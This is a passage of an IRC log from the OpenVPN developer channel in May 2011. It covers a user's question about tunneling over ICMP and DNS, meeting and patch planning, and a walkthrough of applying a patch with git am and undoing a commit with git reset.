18:49 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 18:49 -!- mode/#openvpn-devel [+v krzee] by ChanServ 21:03 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 22:09 * ecrist breaks his trac 23:47 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] --- Day changed Tue May 17 2011 00:35 -!- andj_afk is now known as andj 00:59 -!- andj is now known as andj_afk 01:58 -!- dazo_afk is now known as dazo 08:53 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 08:53 -!- mattock1 [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 08:53 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 08:54 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 09:44 -!- xsurfer [48143ae9@gateway/web/freenode/ip.72.20.58.233] has joined #openvpn-devel 09:45 < xsurfer> good day development team. may I ask if there is a possibility of openvpn over icmp and openvpn over dns? 09:46 <+ecrist> not any time soon. 09:46 <+ecrist> !wishlist 09:46 <@vpnHelper> suggested MSS feature for "proto tcp" operation || Please fix Win32/64bit Tap Tunnel Adapter!!! || OpenVPN over ICMP || my other wish || my wish - Push Option || Add product version information to the windows binaries || Kill The Resources Being Used By OpenVPN Desktop Client || passtos working on windws || common-name-as-username || --shaper and --server together || Windows auto- 09:46 <@vpnHelper> connect when starting gui || sctp implementation in openvpn || OpenVPN on a Nokia phone with Symbian^3 || Multicast support in tap-win32 (with patch) || OpenVPN to filter DHCP requests in bridge mode || my wish || cryptoapicert and ca || Root Permission Restart || Reject pushed directives (eg. routes) via client config || openvpn and a different ntlm auth || Port Hopping... || FIPS- 09:46 <@vpnHelper> compliant OpenVPN || Symbian^3 support || Windows Client Source Code + Build Instructions || Define one or more networks on one OpenVPN instance || Compiling OpenVPN v2.1.2 with enable-password-save option || OpenVPN client for the iPhone and iPad || authenticate to socks daemon || Multiple configs in one file || adaptive tls-server / tls-client || Configs From Server || Statistics (1 more message) 09:46 <+ecrist> gah 09:47 <+ecrist> !factoids wishlist 09:47 <+ecrist> xsurfer: feel free to post your request on the forum in the 'wishlist' category 09:47 < xsurfer> is there a timeframe? 09:47 < xsurfer> yes I will post a wishlist too 09:48 <+ecrist> yeah, time frame is 'not any time soon' 09:49 < xsurfer> ah ok. I guess, the development team have other priorities, is that it? 09:49 <+ecrist> yes 09:49 <+ecrist> we're looking to release a 2.3, and we're doing a substantial rewrite for 3.0 09:50 < xsurfer> Ah ok. cant the openvpn over dns and icmp be included in version 3. 09:56 <+ecrist> you're welcome to do the work, sure. 09:56 <+ecrist> there's much higher priorities right now than that 09:59 <@vpnHelper> RSS Update - wishlist: my wish <http://forums.openvpn.net/topic8159.html> 10:00 < xsurfer> ecrist: only a suggestion 10:01 <@dazo> xsurfer: the new framework for openvpn 3, will be much more modular, so implementing other means of transports should be much easier ... but openvpn 3 is still just on the planning stage, no code has been written yet 10:02 <@dazo> !roadmap 10:02 <@dazo> !learn roadmap as https://community.openvpn.net/openvpn/wiki/RoadMap 10:02 <@vpnHelper> Joo got it. 10:02 <@dazo> xsurfer: for more info about openvpn3 ... https://community.openvpn.net/openvpn/wiki/RoadMap 10:02 <@vpnHelper> Title: RoadMap – OpenVPN Community (at community.openvpn.net) 10:03 < xsurfer> I see. Hopefully. 10:06 <@dazo> xsurfer: if you decide to implement something, please send the patches to our tracker or mailing list ...the wiki has a lot of info now how to get the code ... We might be able to either get it into a 2.x release (if the code is clean and stable enough) or have that as a proof of concept for openvpn 3 ... but right now, TCP/UDP and most likely SCTP are the main focus for transports now among those of us who are most involved ... but th 10:06 <@dazo> at doesn't exclude new developers with other priorities 10:08 < xsurfer> dazo: why sctp? 10:14 <@dazo> because some developer turned up and said he would like to have that support 10:14 <+ecrist> sctp is a logical extension, to be honest. 10:15 <+ecrist> ICMP and DNS implementations are, at the very least, hacky as fuck 10:15 <+ecrist> ;) 10:15 <@dazo> yeah, it has a lot of extra things which is very interesting ... but not sure if all the advantages of sctp will be implemented in the beginning, but you gotta start somewhere 10:18 < psha> heh, i've failed to write simple sendmsg test for sctp :) 10:19 < xsurfer> so icmp and dns are considered as hacky. wow never thought of that 10:20 <@dazo> xsurfer: ehh ... icmp is a border case, but sending VPN data over DNS records, you gotta admit that's pretty hacky 10:21 < xsurfer> I have read somewhere in an article that if you want to create a dns tunneling, you might want to do openvpn on port 53 10:21 <@dazo> icmp can at least carry a payload, but it's not designed to be used for big data transport, like UDP and TCP ... hence being a border case 10:21 <@dazo> to make DNS tunnelling, you'll be forced to use 53/udp and maybe 53/tcp in some cases 10:22 < xsurfer> yes that is what is said in that article. 10:22 < psha> do you want to mimic DNS traffic? 10:22 < xsurfer> but why do you say FORCED? 10:22 < psha> xsurfer: DNS uses 53/udp 10:22 < psha> that's why you are forced 10:23 < xsurfer> but why forced? you mean it is not normal to use 53udp? 10:23 < psha> for vpn? no 10:24 < psha> but if you want 'dns tunnel' you need two things - VPN server on 53/udp and traffic which looks like DNS one 10:24 < xsurfer> why not? can you please tell me? 10:25 < psha> what to tell? 10:25 < xsurfer> why is it not normal to use 53udp in vpn 10:25 <@dazo> because 53/udp is a defacto port for DNS traffic 10:26 <@dazo> whenever something connects to 53/udp, it expects to talk the "DNS protocol" 10:26 < xsurfer> hmmm 10:26 < psha> so if you have some 'smart' firewall it may block anything not looking like DNS traffic 10:26 <@dazo> it's like port 80/tcp ... that's a defacto standard port for HTTP traffic ... and 443/tcp for HTTPS 10:26 < psha> (however i've not seen such firewalls) 10:27 <@dazo> I've been behind such firewalls on some airports ... it stinks ... as I can't establish my VPN connection :-P 10:27 <@dazo> L7 filtering firewalls are getting more and more common 10:28 < xsurfer> ok. that is for dns protocol. is there also for icmp port to use like with dns? I have read in iana but it is icmpd port. I dont know if that is the same with icmp 10:28 < psha> there no such thing as 'port' in icmp as i recall 10:28 <@dazo> icmp is a protocol, on the same level as tcp and udp 10:29 <@dazo> icmp doesn't have port numbers ... but it has some kind of "service types", like echo-ping, echo-pong, timestamp, etc 10:29 < xsurfer> yes it is true 10:29 <@dazo> http://en.wikipedia.org/wiki/Internet_Control_Message_Protocol 10:29 < psha> service type looks more like TCP flags 10:29 <@vpnHelper> Title: Internet Control Message Protocol - Wikipedia, the free encyclopedia (at en.wikipedia.org) 10:29 < psha> not like ports 10:30 < psha> most of NAT's will block incoming echo-ping requests to you 10:30 < xsurfer> I have read some article about that but I think the manpage is not very comprehensive I guess. 10:30 < psha> however they'll pass echo-pong's 10:32 < xsurfer> but I have this firewall that will accept icmp, do you think it will do 10:34 < xsurfer> which allows the output, input and forward of ICMP traffic 10:34 < psha> i think you don't understand difference between 'ip protocol' (icmp, udp, tcp) and 'application protocol' (dns, http, etc) :) 10:34 < psha> yes, you may pass ICMP traffic though firewall 10:35 < psha> generaly it's not much different from UDP besides the fact that there may be filtering of high bandwidth icmp traffic 10:35 < psha> and that's there is no port 10:36 < xsurfer> I have rudimentary knowledge on those transport layers and protocols. But I am reading and learning. 10:37 < xsurfer> so if I can pass icmp traffic through the firewall, can I access internet if icmp traffic is allowed? 10:37 -!- andj_afk is now known as andj 10:38 <@dazo> "access internet", is a very vague criteria 10:38 <@dazo> technically, yes, you can "access internet" with ICMP traffic, when that is allowed 10:38 <@cron2> if I were to design an internet hotspot, it would break tunneling via DNS and ICMP... 10:38 < xsurfer> in tunneling point of view 10:39 <@cron2> ... it's actually quite easy, just rate-limit to 10 packets/sec - that will make VPN useless while not disturbing normal operations 10:39 <@dazo> it all depends on what you do with the payload of the icmp packets ... and that you have a receiver side who understands what to do with these packets 10:39 <@dazo> cron2: that's really a good idea 10:39 <@cron2> (I *like* tunneling over DNS, but as soon as a mainstream package will offer it "out of the box, easy to setup", hotspot vendors will make sure to break it) 10:39 <@dazo> agreed 10:40 <@dazo> like denying IN TXT records, 10:40 <@cron2> yep, those as well 10:41 < xsurfer> for example: even I set my server and client on 53/udp and dns tunneling is not allowed but in my firewall I have allow output,input and forward of ICMP and icmp tunneling is allow, regards if my dns tunneling is not allowed, will I be able to access internet still? 10:42 <@dazo> cron2: while you're here :) have you done anything with the patch we discussed last week? (which you wanted to pull in) 10:43 <@dazo> xsurfer: I might be unfocused, but your questions sounds really odd ... anyway, this is a developers place for OpenVPN, so that kind of discussion actually belongs somewhere else 10:44 < xsurfer> dazo: true just hoping to find some answer and solution. thanks for the time and replies guys. 10:45 <@dazo> no worries, good luck :) 10:47 -!- xsurfer [48143ae9@gateway/web/freenode/ip.72.20.58.233] has left #openvpn-devel [] 10:58 <+ecrist> raar 10:59 <+ecrist> I would consider an ICMP implementation of openvpn 'hacky as fuck' rather than 'border case' 10:59 <+ecrist> ;) 11:00 <@cron2> dazo: not yet, wanted to discuss this today but got stuck in paid-for-customer-impatient work 11:01 <@dazo> cron2: okay ... I'll be online some more hours here today ... doing my taxes, so whenever you're ready, just try to ping me 11:02 <@dazo> ecrist: yeah, ICMP isn't clean either... but protocol wise, echo-ping/echo-pong are allowed to carry a payload ... which can then be abused to carry more useful data 11:03 <+ecrist> most corp networks already block egress and ingress ICMP, though, so I see the benefit as minimal. 11:04 <@dazo> definitely 11:04 <+ecrist> I was actually surprised that all the airports I hit last week allowed not only openvpn, unhindered, but SIP and RTP, as well 11:04 <+ecrist> on *free* wifi 11:04 <@dazo> it's been a discussion in Norway that wifi should be free in all airports here 11:05 <@dazo> The airport in Vienna does the same ... while Prague only allows HTTP 11:05 <+ecrist> both Detriolet and Ottawa had free wifi 11:05 <+ecrist> MSP had free wifi in the first-class lounge 11:06 <@dazo> the cost of an Internet connection isn't so bad nowadays, and the airports usually needs it for their own stuff as well ... so opening up a free wifi doesn't cost them that much, as they can surely limit the bandwidth on the free access 11:06 <@dazo> it makes customers happier, and they might come back :) 11:18 <@cron2> amsterdam has "1 hour free for surfing" (http+https) and pay if you want "full ip" 11:18 <@cron2> ssh over port 443 works, that's good enough for me :) 12:00 -!- psha [~psha@213.208.162.69] has quit [Read error: No route to host] 12:03 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 12:16 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 12:16 -!- mode/#openvpn-devel [+v krzee] by ChanServ 12:55 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 12:55 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:24 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 14:08 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Read error: Connection reset by peer] 14:32 -!- mattock1 [~samuli@openvpn/corp/admin/mattock] has quit [Read error: Operation timed out] 15:02 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 15:27 -!- dazo is now known as dazo_afk 15:31 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 15:31 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 15:37 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Read error: Connection reset by peer] 15:38 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 15:38 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 15:39 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Read error: Connection reset by peer] 15:56 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 15:56 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 16:05 -!- andj is now known as andj_afk 16:12 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 16:12 -!- mode/#openvpn-devel [+v krzee] by ChanServ 22:48 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 22:48 -!- mode/#openvpn-devel [+v krzie] by ChanServ 23:09 -!- Netsplit *.net <-> *.split quits: @vpnHelper 23:12 -!- Netsplit over, joins: @vpnHelper 23:37 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel --- Day changed Wed May 18 2011 00:24 -!- andj_afk is now known as andj 00:46 -!- andj is now known as andj_afk 01:01 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Remote host closed the connection] 01:03 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 01:03 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 01:05 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:05 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:11 -!- s7r [~s7r@unaffiliated/s7r] has quit [Ping timeout: 276 seconds] 01:29 -!- dazo_afk is now known as dazo 01:49 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Read error: Operation timed out] 02:23 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 02:47 -!- jamesyonan_ [~jamesyona@ec2-184-73-139-188.compute-1.amazonaws.com] has joined #openvpn-devel 02:48 -!- mode/#openvpn-devel [+o jamesyonan_] by ChanServ 02:48 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Read error: Connection reset by peer] 02:52 -!- jamesyonan_ [~jamesyona@ec2-184-73-139-188.compute-1.amazonaws.com] has quit [Ping timeout: 258 seconds] 03:29 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 03:29 -!- mode/#openvpn-devel [+v krzie] by ChanServ 05:19 -!- dazo is now known as dazo_afk 05:51 -!- equinox [~equinox@spaceboyz.net] has joined #openvpn-devel 06:15 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 06:21 -!- s7r [~s7r@unaffiliated/s7r] has quit [Ping timeout: 264 seconds] 06:27 -!- dazo_afk is now known as dazo 06:28 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 06:45 -!- s7r [~s7r@unaffiliated/s7r] has left #openvpn-devel [] 06:48 -!- dazo is now known as dazo_afk 07:48 -!- dazo_afk is now known as dazo 09:40 <@dazo> !git 09:40 <@vpnHelper> "git" is (#1) For the stable git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn.git, or (#2) For the development git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn-testing.git, or (#3) Browse the git repositories here: http://openvpn.git.sourceforge.net/git/gitweb-index.cgi, or (#4) See !git-doc how to use git 09:41 <@dazo> !git-doc 09:41 <@vpnHelper> "git-doc" is (#1) For a good git documentation, see http://progit.org/book/, or (#2) For a very quick git crash course, see https://community.openvpn.net/openvpn/wiki/GitCrashCourse 09:56 -!- dazo is now known as dazo_afk 10:02 -!- andj_afk is now known as andj 10:11 <@cron2> hit-and-run patches... 10:12 -!- dazo_afk is now known as dazo 10:17 -!- dazo is now known as dazo_afk 10:23 -!- dazo_afk is now known as dazo 10:51 <+krzie> think git is developed using git? 10:52 <@dazo> krzie: yeah 10:53 <@dazo> git was written by Linus Torvalds ... he had to stop using bitkeeper for the kernel ... so he stalled kernel development for 2 weeks and developed git 10:53 <@dazo> and then more people got involved and made it much more usable for more use cases, make it more user friendly 10:53 <+krzie> ahh cool 10:54 <@dazo> and that's where we are today ... the git maintainer is not Linus any more though 10:54 <+krzie> 2 weeks... not bad lol 10:54 <@dazo> no not at all :) Even though, he wasn't alone though, and the git that time was much more primitive than what it is now 10:55 <@dazo> krzie: if you're interested ... this presentation might shed some light ... http://www.youtube.com/watch?v=4XpnKHJAok8 10:55 <@vpnHelper> Title: YouTube - Tech Talk: Linus Torvalds on git (at www.youtube.com) 11:32 <+krzie> im enjoying it 11:32 <+krzie> he's really not a bad talker 11:32 <+krzie> i havnt seen him talk before 11:33 <@dazo> :) 11:48 <+krzie> hehe at 34:00 he talks about our splintered git / cvs setup with james 11:48 <+krzie> (kinda) 11:51 <@dazo> yeah 12:21 <+krzie> heh i didnt expect to watch the whole talk when i saw it was 70min 12:21 <+krzie> he kept my interest 12:22 <@dazo> cool :) 12:51 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 14:03 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 14:03 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 14:04 <@vpnHelper> RSS Update - tickets: #136: Spike in Deferred Procedure calls after switching network connections in Windows 7, 64-bit <https://community.openvpn.net/openvpn/ticket/136> 14:32 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 14:36 -!- dazo is now known as dazo_afk 14:50 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 14:51 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 14:51 -!- mode/#openvpn-devel [+v krzie] by ChanServ 15:07 -!- andj is now known as andj_afk 15:22 -!- andj_afk is now known as andj 15:29 -!- andj is now known as andj_afk 17:46 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 260 seconds] 23:24 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 23:34 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 23:34 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Thu May 19 2011 00:03 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 00:44 -!- andj_afk is now known as andj 00:55 -!- andj is now known as andj_afk 03:12 <@cron2> two questions... 03:12 <@cron2> a) meeting today? 03:13 <@cron2> b) if I want to transport information to an OpenVPN client (push "my-foo 3"), is there a way on the client to handle the "my-foo" setting in one of the scripts? 03:13 <@cron2> "some information that is not yet handled inside OpenVPN itself", whatever it might be 03:41 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 04:11 -!- dazo_afk is now known as dazo 04:12 <@dazo> cron2: a:) I think so 04:12 <@dazo> cron2: b) if you want to push arbitrary information to scripts, I believe you can push --setenv 04:14 <@dazo> --setenv-safe is another alternative, though 04:15 <@cron2> you can push setenv? whoa :) 04:17 <@cron2> setenv-safe looks even better indeed 04:17 <@cron2> OTOH: will the client accept setenv at all? 04:18 <@cron2> it would be a security problem... as the docs for setenv-safe say :-) 04:18 <@cron2> but anyway, that solves my requirements, thanksverymuchso! 04:18 <@dazo> cron2: I believe one of them are pushable 04:18 <@cron2> setenv-safe manpage says "This directive is designed to be pushed by the server", so indeed 04:18 * cron2 needs to re-read the man page (about 5 times) and try to remember all the good stuff in there 04:19 <@dazo> :) 04:20 <@dazo> cron2: you should get a copy of jjk's books as well ... that got some pretty nice stuff in it too ... even though not necessarily revolutionary, but still very interesting 04:21 * cron2 wants a copy of the second edition, with IPv6 stuff in, and signed by jjk :) 04:22 <@dazo> lol! Yeah, even better ;-) 08:00 -!- s7r [~s7r@unaffiliated/s7r] has left #openvpn-devel [] 08:20 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 08:20 -!- mode/#openvpn-devel [+o mattock] by ChanServ 08:20 <@mattock> shall we have a meeting today? 08:36 <@cron2> dazo says yes 08:58 <@dazo> mattock: still no rush for my part ... but I just kind of "expected" it :) 08:58 <@dazo> there's two patches in the queue now awaiting review ... but not still nothing urgent 08:58 <@mattock> which patches? 09:00 <@mattock> do the patches need James or somebody else to be present? 09:00 <@dazo> "Fix const declarations in plug-in v3 structs" and "Make '--comp-lzo no' the default behaviour if LZO is enabled" 09:00 <@dazo> I'm reconsidering the last one, after having done more tests on it 09:00 <@dazo> I sense there is a trap there 09:01 <@mattock> I'll setup a meeting topic list here: https://community.openvpn.net/openvpn/wiki/Topics-2011-05-19 09:02 <@mattock> oh yes, I think we still have the Visual Studio build failure on "master" branch to fix 09:03 <@mattock> maybe James would have some clue how to fix it 09:03 <@dazo> yeah, that's also something which needs to be looked at 09:03 < Dark-Fx> !sisi 09:04 < Dark-Fx> well. that certainly explains that. 09:04 <@dazo> Dark-Fx: You've had windows build issues? 09:05 < Dark-Fx> No, I didn't look at the channel I was in until after my command failed to do anything. 09:05 <@dazo> :) 09:05 <@dazo> heh 09:25 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 09:26 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn-devel 09:26 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host] 09:26 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 09:26 -!- mode/#openvpn-devel [+v krzee] by ChanServ 09:28 <@mattock> ok, meeting announcement sent 09:29 <@vpnHelper> RSS Update - tickets: #137: Visual Studio 2008 builds fail on "master" branch <https://community.openvpn.net/openvpn/ticket/137> 09:37 <@cron2> dazo: what about the "management = NULL" patch? ACK from me, waiting for you to commit... 09:37 <@dazo> cron2: good point ... I've forgotten that one, even forgotten if I have committed it 09:42 <@cron2> no mail in any case, haven't checked git 09:44 <@dazo> I haven't pushed in a while, so it might not have been pushed yet 09:44 <@dazo> nope, not committed 09:53 <@cron2> ah, I think you were considering merging --enable-small and --disable-management and that might have held up things --> topic for today? 09:56 <@dazo> yeah, definitely a topic for today 09:57 * dazo updates topic 10:32 <+ecrist> mattock: i just brought mr.garrison back, so backups should flow again any time 10:50 < Dark-Fx> mr.hat? 10:54 <+krzee> my box there is butters 10:54 <+krzee> (what what in the butt) 11:15 <@vpnHelper> RSS Update - testtrac: Fix 2.2.0 build failure when management interface disabled <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=76ef46144f7e3ecc760dcb9f25a7ecb769d39c59> 11:21 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 11:21 -!- mode/#openvpn-devel [+v krzie] by ChanServ 11:33 <@vpnHelper> RSS Update - testtrac: Fixed bug introduced in r7031 that might cause this error message: <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=3530e5fba87dd060d8009bd57d1ba8976d0e8668> 11:39 <@vpnHelper> RSS Update - testtrac: Fix 2.2.0 build failure when management interface disabled <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=ca0ed8458a355aea46d26c209984caaf533784ec> 11:42 -!- andj_afk is now known as andj 11:48 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 12:01 -!- psha [~psha@213.208.162.69] has quit [Read error: No route to host] 12:02 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 12:08 -!- s7r [~Mirela@unaffiliated/s7r] has joined #openvpn-devel 12:09 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 12:09 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 12:15 <+ecrist> who is elabs10? 12:16 <+krzie> if i was a good coder ild make the forum automaticly reply to any post with "access server" with https://forums.openvpn.net/topic7036.html 12:16 <@vpnHelper> Title: OpenVPN Support Forum Access Server Support : Off Topic, Related (at forums.openvpn.net) 12:17 <+ecrist> krzie: would be trivial, but I'm lazy 12:17 <+krzie> (and i have no clue what elabs10 is) 12:19 <@cron2> re 12:19 <@cron2> dazo: you're still/already here? 12:20 <+ecrist> there are some tweets complaining access-server marketing email forwarded to a link at elab10.com and not openvpn.net directly 12:21 <+krzie> weird, i bet mattock / raidz will know 12:22 <+krzie> the 2 domains are registered to physically close places 12:22 <+krzie> Emeryville and PLEASANTON are quite close to eachother 12:24 <@dazo> cron2: I am 12:25 <@cron2> dazo: you suggested you wanted to show me tricks with git-am... 12:26 <@cron2> so if you have time now... 12:26 <@dazo> cron2: yeah! I got time! 12:26 <@dazo> cron2: what kind of mail client do you use? 12:26 <@cron2> mutt 12:26 <@dazo> okay, good! that should work 12:26 <+krzie> without knowing, i will guess that elab10 is doing the marketing for openvpn.net and the link goes to them for tracking purposes, with my guess being slightly backed by the fact that they are close enough to have a business relationship over lunch, etc 12:26 * dazo locates the original mail now 12:27 <@cron2> seth mos, may 10 12:27 <@dazo> cron2: ahh, it's the one which is here? http://iserv.nl/files/pfsense/0001-Change-the-netsh.exe-command-from-add-to-set-.-Th.patch 12:27 <@cron2> yes 12:28 <@dazo> okay, even easier ... save this file ... make sure you are in the proper branch where you want to apply this one 12:28 <@dazo> the do: git am -s <patch file> 12:28 <@dazo> or! 12:28 <@dazo> hah 12:28 <@dazo> I was too quick ... you might want to edit it quickly 12:29 <@cron2> wait, getting myself organized 12:29 <@dazo> just add a "Acked-by: ...." line below his Signed-off line 12:29 <@cron2> Acked-by: Gert Doering <gert@greenie.muc.de> 12:29 <@dazo> then do the: git am -s <file> 12:29 <@cron2> like this? 12:29 <@dazo> yeah 12:30 <@dazo> just like that, with the same indent as Signed-off 12:30 <@cron2> llooks broken 12:31 <@dazo> I'll try it 12:31 <@cron2> wait 12:31 <@cron2> http://pastebin.com/Jm3Cj34v 12:31 <@cron2> it didn't get the signed-off and acked-by lines right 12:32 <@cron2> does it need a blank line before them? 12:32 <@dazo> ahh 12:32 <@dazo> yeah, he got the complete commit message as submit 12:32 <@dazo> subject* 12:32 <@cron2> ok, how do I un-do that commit? 12:32 <@dazo> git reset --hard HEAD~1 12:33 <@dazo> that's a nasty one, it throws out stuff hard and brutal ... so be careful with it :) 12:33 <@cron2> ok, adding blank line, trying again 12:33 <@dazo> the message below 12:33 <@dazo> should not have this one space indent too 12:34 <@cron2> http://pastebin.com/ZHt6gHay 12:34 <@cron2> looks reasonable 12:34 <@dazo> ahh ... I would have done a little bit more on it ... Just a sec, I'll show you 12:35 <@cron2> oops. thanks for spotting the MANAGEMENT_ENABLE mixup 12:35 <@dazo> http://pastebin.com/1NtQM2uE 12:36 <@dazo> yeah, the MANAGEMENT stuff came as a surprise to me too ... I looked at it, and did a quick 'git grep' on it, and found only one hit .... 12:37 <@cron2> regarding the pastebin: so I should reformat the patch to not have the indent there, and proper line wraps? 12:37 <@dazo> cron2: my "modified" patch added an extra line between mail headers and body ... that way it's interpreted correctly by 'git am' 12:37 <@cron2> yeah, let'Äs see 12:38 <@dazo> yeah, that's a good habit to do ... git commit messages are kind of one line summary (subject), then a blank line, and then a more verbose description 12:38 <@cron2> Applying: Change the netsh.exe command from "add" to "set". 12:38 <@dazo> yeah, that makes more sense 12:38 <@cron2> yeah, reasonable :) 12:39 <@cron2> argh 12:39 <@cron2> the "git reset" command threw away un-committed changes I had done to other files 12:39 <@dazo> ouch 12:39 <@cron2> (nothing I don't have a backup of, but that came a bit unexpected) 12:39 <@dazo> sorry about that ... I thought you had a clean repo 12:40 <@cron2> so how to undo a commit if there is other stuff lying around? 12:40 <@dazo> it usually denies to apply patches on unclean checkouts 12:40 <@cron2> well, the patch affected files that were clean 12:40 <@dazo> I'm not sure I understand your question 12:41 <@cron2> repo: "ChangeLog.IPv6" is changed, "tun.c" gets patched by "git am" 12:41 <@cron2> git am just does that and doesn't complain 12:41 <@cron2> git reset throws away the commit to tun.c, and the changes to ChangeLog.IPv6 12:41 <@dazo> If I have local uncommitted changes .... I usually do a 'git stash' ... which puts all my changes aside, then when I'm done, I do 'git stash pop' 12:42 <@dazo> "then when I'm done"... with git am stuff 12:42 <@cron2> yeah, I understand that, it just came as a surprise. I'm still too much thinking like CVS, where commits are something that affects a single file 12:43 <@dazo> yeah, and this is one of the big traps with 'git reset' ... it really resets your tree 12:43 <@dazo> including your check-out 12:43 < Dark-Fx> git trap 12:43 <@cron2> so - if my tree is dirty, and I want to do undo a commit, is that possible? 12:43 <@cron2> there's git-revert... 12:43 <@cron2> ah 12:43 <@cron2> but that's "revert and record as such", which is different :) 12:44 <@dazo> git revert will make a new patch, which is a reverse patch 12:44 <@cron2> yep 12:44 <@dazo> so to undo a commit, you have only 'git reset', which requires you to have stashed away your changes which you don't want to loose 12:45 <@cron2> *make note* 12:46 <@dazo> if you want to undo a commit which is done long time ago (not on the top of the commit history), you most likely need to use git revert ... at least that's the easiest thing to do 12:46 <@dazo> git reset is something you should never to when you have pushed out your tree 12:46 <@cron2> ok, patch applied to my 2.2-based branch, and cherry-picked to master-based branch 12:46 * cron2 starts to learn the trade :) 12:46 <@dazo> as that makes things difficult for others who have already pulled your tree 12:47 <@cron2> yeah, I saw that in one of the documents (and it's somewhat obvious) 12:47 <@dazo> nice! However, I get a little bit concerned that you applied to 2.2 and cherry-picked to master ... I'd probably recommend the other way around (as long as master is the comming 2.3 stuff) 12:48 <@cron2> as long as there are no collisions, it does not really matter 12:48 <@dazo> yeah, true enough 12:48 <@cron2> if the commit really results in different code, indeed, things will require lots of attention :) 12:49 <@dazo> yeah 12:49 <@cron2> let's release 2.3 next week, then I don't have to do anything relative to 2.2 anymore :) 12:49 <@dazo> haha :) yeah, I'm tempted :-P 12:50 <@cron2> the windows build cleanup stuff is going to be painful 12:50 <@dazo> however, with the current setup of master, coming release/2.3 and the current release/2.2 branches ... we can actually support 2.2 in parallel with 2.3 for a longer period ... only by cherry-picking important fixes which is needed in 2.2 12:51 <@dazo> yeah ... I hope we can sort out that stuff ... JJO should really be involved in that, I think 12:51 <@dazo> (the windows stuff) 12:51 <@cron2> for fixes, cherry-picking is easier. for "I want to add a new feature", deciding on which branch is being developed on and where the cherrypick goes is a bit harder 12:51 <@dazo> yeah 12:53 <@cron2> anyway, if I spend all my time worrying on the best way to handle git, and don't have time left for actual coding, it won't help us either :-) 12:53 <@dazo> heh, true enough :) 12:53 <@dazo> and with time and experience, you won't need to worry too much, you'll just know what's best without thinking 12:57 <+krzie> according to linus its the only good way of doing it ;] 12:57 <@dazo> heh :) 12:58 <@dazo> krzie: of course, he is not 